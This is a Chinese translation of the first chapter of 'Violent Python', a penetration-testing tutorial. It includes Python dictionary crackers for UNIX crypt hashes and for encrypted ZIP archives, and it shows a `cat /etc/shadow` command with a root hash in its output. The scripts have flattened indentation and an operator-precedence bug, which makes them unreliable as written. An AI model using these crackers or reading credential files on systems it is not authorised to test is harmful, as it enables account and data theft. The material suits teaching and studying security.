- A+
原作者：Chris Katsaropoulos
第一译者：@草帽小子-DJ
第二译者：crown丶prince
你的的第一个Python程序
随着了解了如何构建python脚本，让我们开始写我们的第一个程序。在我们向前迈进前，我们将描述一些轶闻轶事，强调我们的脚本的需要。
为你的第一个程序设立个平台：
杜鹃蛋的故事
C. Stoll的《杜鹃蛋》(1989)堪称新派武侠的开山之作。它第一次把黑客活动与国家安全联系在一起。黑客极具破坏性的黑暗面也浮出海面，并且永远改变了黑客的形象。迄今仍是经久不衰的畅销书。Stoll是劳伦斯伯克利实验室的天文学家和系统管理员。1986年夏，一个区区75美分的帐目错误引起了他的警觉，在追查这次未经授权的入侵过程中，他开始卷入一个错综复杂的电脑间谍案。神秘的入侵者是西德混沌俱乐部的成员。他们潜入美国，窃取敏感的军事和安全情报。出售给克格勃，以换取现金及可卡因。一场网络跨国大搜索开始了，并牵涉出FBI、CIA、克格勃、西德邮电部等。《杜鹃蛋》为后来的黑客作品奠定了一个主题：追捕与反追捕的惊险故事。而且也开始了新模式：一个坚韧和智慧的孤胆英雄，成为国家安全力量的化身，与狡猾的对手展开传奇的较量。
（该故事已经有经典的翻译版本，可以直接参考）
下载地址：http://pan.baidu.com/s/1kTCNwMF 密码ug42
你的第一个程序，一个UNIX密码破解器！
我们只需要用标准库中的crypt模块的crypt()函数。传入密码和盐即可。
让我们赶快试一试用crypt()函数哈希一个密码试试，我们输入密码”egg”和盐”HX”，返回的哈希密码值是”HX9LLTdc/jiDE”，现在我们可以遍历整个字典，试图用常用的盐来匹配破解哈希密码！
>>>import crypt
>>>crypt.crypt(‘egg’, ‘HX’)
“HX9LLTdc/jiDE”
>>>
注意：哈希密码的前两位就是盐的前两位，这里我们假设盐只有两位。
程序分两部分，一部分是打开字典，另一部分是哈希匹配密码，
代码如下：
# coding=UTF-8
"""
暴力破解UNIX的密码，需要输入字典文件和UNIX的密码文件
"""
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictfile = open('dictionary.txt', 'r') #打开字典文件
for word in dictfile.readlines():
word = word.strip('\n') #保留原始的字符，不去空格
cryptWord = crypt.crypt(word, salt)
if cryptPass == cryptWord:
print('Found passed : ', word)
return
print('Password not found !')
return
def main():
passfile = open('passwords.txt', 'r') #读取密码文件
for line in passfile.readlines():
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip('')
print("Cracking Password For :", user)
testPass(cryptPass)
if __name__ == '__main__':
main()
但是现代的×NIX系统将密码存储在/etc/shadow文件中，提供了个更安全的哈希散列算法SHA-512算法，Python的标准库中hashlib模块提供了此算法，我们可以更新我们的脚本，破解SHA-512哈希散列加密算法的密码。
root@DJ-PC:/home/dj# cat /etc/shadow | grep root
root:$6$t0dy7TXs$mJxj1Ydfx83Eg0b7ry1etUQA8g7GliedT2DlnlLhiEunizJ1AAzSzQLfzV5J17D0MsZVwUVjP/0KHGV5Ue33F1:16411:0:99999:7:::
你的第二个程序：ZIP文件密码破解
Python的标准库提供了ZIP文件的提取压缩模块zipfile，现在让我们试着用这个模块，暴力破解出加密的ZIP文件！
我们可以用extractall()这个函数抽取文件，密码正确则返回正确，密码错误测抛出异常。
现在我们可以增加一些功能，将上面的单线程程序变成多线程的程序，来提高破解速度。
两个程序代码如下，注释处为单线程代码：
# coding=UTF-8
"""
用字典暴力破解ZIP压缩文件密码
"""
import zipfile
import threading
def extractFile(zFile, password):
try:
zFile.extractall(pwd=password)
print("Found Passwd : ", password)
return password
except:
pass
def main():
zFile = zipfile.ZipFile('unzip.zip')
passFile = open('dictionary.txt')
for line in passFile.readlines():
password = line.strip('\n')
t = threading.Thread(target=extractFile, args=(zFile, password))
t.start()
"""
guess = extractFile(zFile, password)
if guess:
print('Password = ', password)
return
else:
print("can't find password")
return
"""
if __name__ == '__main__':
main()
现在，我们想用户可以指定要破解的文件和字典，我们需要借助Python标准库中的optparse模块来指定参数，具体的讲解将在下一章讲解，这里我们只提供本例的代码：
# coding=UTF-8
"""
ZIP压缩文件破解程序加强版，用户可以自己指定想要破解的文件和破解字典，多线程破解
"""
import zipfile
import threading
import optparse
def extractFile(zFile, password):
try:
zFile.extractall(pwd=password)
print("Found Passwd : ", password)
except:
pass
def main():
parser = optparse.OptionParser('usage%prog -f <zipfile> -d <dictionary>')
parser.add_option('-f', dest='zname', type='string', help='specify zip file')
parser.add_option('-d', dest='dname', type='string', help='specify dictionary file')
options, args = parser.parse_args()
if options.zname == None | options.dname == None:
print(parser.usage)
exit(0)
else:
zname = options.zname
dname = options.dname
zFile = zipfile.ZipFile(zname)
dFile = open(dname, 'r')
for line in dFile.readlines():
password = line.strip('\n')
t = threading.Thread(target=extractFile, args=(zFile, password))
t.start()
if __name__ == '__main__':
main()
本章总结
本章我们就认识了Python的基本用法，写了一个UNIX的密码破解器和ZIP文件密码破解器，下一章我们将用Python做进一步的渗透测试！
译者的话：
《Violent Python》第一章就到此结束了，感谢乌云和乌云的小伙伴们的支持！欢迎大家提供建议。
同时，下周同一时间，请关注我们的《Violent Python》第二章！
